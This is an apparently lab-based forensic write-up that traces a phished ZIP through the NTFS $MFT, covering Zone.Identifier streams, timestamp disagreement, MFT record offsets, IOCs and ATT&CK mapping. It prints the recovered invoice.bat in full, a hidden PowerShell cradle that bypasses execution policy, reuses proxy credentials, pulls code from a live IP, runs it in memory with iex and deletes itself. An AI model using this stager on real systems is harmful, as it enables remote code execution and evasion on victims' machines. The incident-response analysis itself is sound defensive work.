Executive Summary
On 2024-02-13, user simon.stark downloaded Stage-20240213T093324Z-001.zip from a Google-hosted export link received by email. The archive contained a nested invoices.zip and a batch file, invoice.bat. The batch file is a PowerShell download-and-execute stager that contacts 43[.]204[.]110[.]203:6666 over plain HTTP.
Only the $MFT was available. Because invoice.bat is small enough to be MFT-resident, its full content was recovered directly from the $MFT without access to the disk image.
Key Findings
| # | Finding | Value |
|---|---|---|
| 1 | Initial download | Stage-20240213T093324Z-001.zip |
| 2 | Download source (HostUrl) |
hxxps[:]//storage[.]googleapis[.]com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser |
| 3 | Malicious stager | C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices\invoice.bat |
| 4 | Stager creation (Created0x30) |
2024-02-13 16:38:39 |
| 5 | MFT record offset | 0x16E3000 (entry 23436) |
| 6 | C2 | 43[.]204[.]110[.]203:6666 |
Methodology
The $MFT was parsed to CSV with MFTECmd and reviewed in Timeline Explorer.
MFTECmd.exe -f "C:\Path\To\$MFT" --csv "C:\Path\To\Output\" --csvf mft.csv
MFTECmd emits one row per MFT record, including one row for each alternate data stream (ADS). It also adds columns such as Created0x10, Created0x30, Zone Id Contents, Has Ads and Is Ads.
Analysis
Initial download
The CSV was filtered on Extension = zip, and the downloads of simon.stark were reviewed. One ZIP stood out: Stage-20240213T093324Z-001.zip, located in \Users\simon.stark\Downloads.

The filename follows the pattern of a Google Drive/Takeout-style export. 20240213T093324Z is a timestamp (2024-02-13 09:33:24 UTC) and -001 is the part number of a multi-part export. The same timestamp appears in the download URL, which ties the file to the export rather than to a local action.
Download source: Zone.Identifier
Filtering on the filename stage revealed Stage-20240213T093324Z-001.zip:Zone.Identifier, a stream listed with the extension .Identifier. MFTECmd shows its text in the Zone Id Contents column.
Zone.Identifier is an NTFS alternate data stream. An ADS is a named secondary $DATA stream attached to a file, invisible in normal directory listings and not counted in the file size. Browsers, mail clients and archivers write this stream to flag a file as coming from outside the machine. It is the basis of “Mark of the Web”, which triggers SmartScreen and Office Protected View.

[ZoneTransfer]
ZoneId=3
HostUrl=https://storage[.]googleapis[.]com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser
ZoneId=3 means the Internet zone. The defined values are:
| ZoneId | Zone |
|---|---|
| 0 | Local machine |
| 1 | Local intranet |
| 2 | Trusted sites |
| 3 | Internet |
| 4 | Restricted sites |
HostUrl holds the address the file itself was fetched from. ReferrerUrl holds the page that led to the download, such as the page containing the link. This stream carries ZoneId and HostUrl but no ReferrerUrl. The fields are written by the application doing the download, so not every field is present for every tool, and any program can write arbitrary values.
The host is Google’s storage service, so the payload was delivered through a legitimate cloud provider. Blocking by domain reputation would not have stopped this download. The HostUrl is the most useful IOC from this artifact, since it can be searched in proxy and DNS logs and reported to the provider.
Stager identification
Filtering Parent Path on stage listed everything unpacked from the archive.

The tree under Downloads is:
Stage-20240213T093324Z-001\
└── Stage\
└── invoice\
└── invoices\
└── invoice.bat
invoices.zip and invoice.bat each have their own Zone.Identifier stream, so the Internet-zone mark was carried onto the extracted content.
invoice.bat is the only script-type file in the tree. Batch files execute commands through cmd.exe and are a common stager format.
Note on
ReferrerUrlin extracted files. When Windows Explorer’s “Extract all” unpacks a marked archive, it writes aZone.Identifierfor each extracted file whoseReferrerUrlis the local path of the source archive. In this case,ReferrerUrlpoints back to the parent archive instead of a web page, which provides a way to chain nested archives together. Third-party archivers behave differently. Some copy the whole stream, some onlyZoneId, and some none.
Creation time: $STANDARD_INFORMATION vs $FILE_NAME
Each MFT record carries two independent sets of timestamps.
| Attribute | MFTECmd column | Behavior |
|---|---|---|
$STANDARD_INFORMATION |
Created0x10 |
What Explorer displays. Writable from user mode (SetFileTime, archivers, timestomping tools) as shown in the figure below. |
$FILE_NAME |
Created0x30 |
Maintained by the NTFS driver. Not writable through standard user-mode APIs. Updated on creation and on rename or move. |
Because $FILE_NAME is harder to alter, it is the more trustworthy creation time. For invoice.bat, Created0x30 is 2024-02-13 16:38:39.

The two attributes disagree. Decoding the raw record (section 4.6) gives:
| Field | Value (UTC) |
|---|---|
$SI Created |
2024-02-13 17:23:16.000 |
$SI Modified |
2024-02-13 16:38:39.965 |
$FN Created |
2024-02-13 16:38:39.934 |
$SI Created is later than $FN Created and has no sub-second component. The common timestomping heuristic ($SI earlier than $FN, the SI<FN column in MFTECmd) is not met here. The MFT alone does not show why $SI Created differs. The same divergence appears on invoices.zip (Created0x10 17:25:52 vs Created0x30 16:35:31). The practical takeaway is that Created0x10 alone would have placed the file creation almost 45 minutes after it was written to disk. $SI Modified (16:38:39.965) agrees with $FN Created.
MFT record offset
Each MFT record is 1024 bytes, so the byte offset of a record in a raw $MFT is entry number × record size. The 1024-byte size is the default and is defined in the volume boot record.
Entry Number : 23436
Offset : 23436 × 1024 = 23,998,464 = 0x16E3000
The record header at this offset confirms the calculation. At offset 0x2C the record stores its own number, 8C 5B 00 00, which is 0x5B8C = 23436. The sequence number at 0x10 is 9, and the header flags at 0x16 are 0x0001, meaning the record is allocated and is a file.
Recovering the stager from the MFT
A file is MFT-resident when its $DATA attribute fits inside the 1024-byte record, alongside the header, $STANDARD_INFORMATION, $FILE_NAME and any other attributes. In practice this limit is about 700 bytes and varies with filename length and the number of attributes. invoice.bat is 286 bytes, so its content sits inside the record, and no disk image is needed.

The record’s $FILE_NAME attribute names invoice.bat and points to parent entry 88577, the invoices folder. Its $DATA attribute is flagged resident with a content length of 286 bytes, so the script’s bytes sit directly in the record. A second, named $DATA attribute holds the Zone.Identifier stream, which is also resident.
Recovered content (reconstructed from the record; see the update-sequence note below):
@echo off
start /b powershell.exe -nol -w 1 -nop -ep bypass "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://43.204.110.203:6666/download/powershell/Om1hdHRpZmVzdGF0aW9uIGV0dw==') -UseBasicParsing|iex"
(goto) 2>nul & del "%~f0"
Update Sequence Array (fixup) note. NTFS replaces the last two bytes of every 512-byte sector in an MFT record with the Update Sequence Number, here
03 00. The original bytes are stored in the Update Sequence Array at0x30. In a raw hex view the base64 token therefore shows03 00at record offset0x1FE, between...zdGFandW9uIGV0dw==. The USA entry at0x32holds30 61(0a), restoring the token toOm1hdHRpZmVzdGF0aW9uIGV0dw==. Parsers such as MFTECmd apply this fixup automatically, and a hex editor does not.
Command breakdown
| Element | Meaning |
|---|---|
@echo off |
Stops cmd.exe from echoing the commands in the batch file. |
start /b |
Starts PowerShell without opening a new window and without waiting for it. |
-nol |
-NoLogo, suppresses the PowerShell banner. |
-w 1 |
-WindowStyle Hidden (value 1 of the window-style enumeration). |
-nop |
-NoProfile, skips profile scripts. |
-ep bypass |
-ExecutionPolicy Bypass, ignores the execution policy. |
...Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials |
Sets the proxy credentials to those of the logged-on user, so the request can authenticate through an authenticated corporate proxy. |
iwr('http://...') -UseBasicParsing |
Invoke-WebRequest to the C2 over unencrypted HTTP. -UseBasicParsing avoids the Internet Explorer engine dependency. |
\|iex |
Pipes the response to Invoke-Expression, so the downloaded script runs in memory. |
(goto) 2>nul & del "%~f0" |
%~f0 is the full path of the running batch file. This line deletes the script after launch. (goto) 2>nul is a common idiom that stops batch parsing silently so the del can remove the running file. |
The stager is a download-and-execute cradle. The second stage is fetched from 43[.]204[.]110[.]203:6666 and executed in memory without being written to disk. The URL path token Om1hdHRpZmVzdGF0aW9uIGV0dw== decodes to the ASCII string :mattifestation etw. Its purpose cannot be determined from the $MFT alone.
The record header marks the record as in use, so the file was still allocated at collection. The $MFT does not show whether the self-delete line ran.
Timeline (UTC, 2024-02-13)
| Time | Event | Source |
|---|---|---|
| 09:33:24 | Export timestamp embedded in the ZIP name and HostUrl |
HostUrl, filename |
| 16:35:15 | Stage folder created |
Created0x10 |
| 16:35:26 | invoice folder created |
Created0x10 |
| 16:35:31 | invoices.zip created |
Created0x30 |
| 16:35:39 | invoices folder created |
Created0x10 |
| 16:38:39 | invoice.bat created |
Created0x30 |
| 16:38:41 | invoice.bat accessed |
$SI accessed |
The 09:33 time is when the export was generated on the Google side. The remaining rows are host-side activity.
Indicators of Compromise
| Type | Value |
|---|---|
| Filename | invoice.bat |
| Download URL | hxxps[:]//storage[.]googleapis[.]com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser |
| C2 | 43[.]204[.]110[.]203:6666 |
| Stage-2 URL | hxxp://43[.]204[.]110[.]203:6666/download/powershell/Om1hdHRpZmVzdGF0aW9uIGV0dw== |
| Command-line pattern | powershell.exe -nol -w 1 -nop -ep bypass ... iwr(...) -UseBasicParsing\|iex |
MITRE ATT&CK Mapping
| Technique | ID | Evidence |
|---|---|---|
| Phishing: Spearphishing Link | T1566.002 | ZIP downloaded from an emailed link (per scenario) |
| User Execution: Malicious File | T1204.002 | invoice.bat extracted into the user profile |
| Command and Scripting Interpreter: Windows Command Shell | T1059.003 | Batch stager |
| Command and Scripting Interpreter: PowerShell | T1059.001 | powershell.exe with iwr\|iex |
| Ingress Tool Transfer | T1105 | Stage-2 fetched from the C2 |
| Indicator Removal: File Deletion | T1070.004 | del "%~f0" in the script |
Recommendations
- Search proxy, DNS and EDR telemetry for
43[.]204[.]110[.]203and theHostUrlacross the estate. - Hunt for PowerShell command lines containing
-w 1 -nop -ep bypasstogether withiwr ... |iex. - Collect PowerShell script-block logs (Event ID 4104) and process creation (4688/Sysmon 1) from the host to recover the stage-2 content, since the
$MFTonly holds the stager. - Review the mailbox of
simon.starkfor the originating email and check whether other users received the same link.
Lessons Learned
- Small files, scripts and
Zone.Identifierstreams can be resident in the$MFT, so a lone$MFTcan still yield file content and download provenance. $STANDARD_INFORMATIONand$FILE_NAMEtimestamps can disagree. Compare both before fixing an event time.- A raw hex view of an MFT record includes fixup bytes at the end of each 512-byte sector. Parsed tool output does not.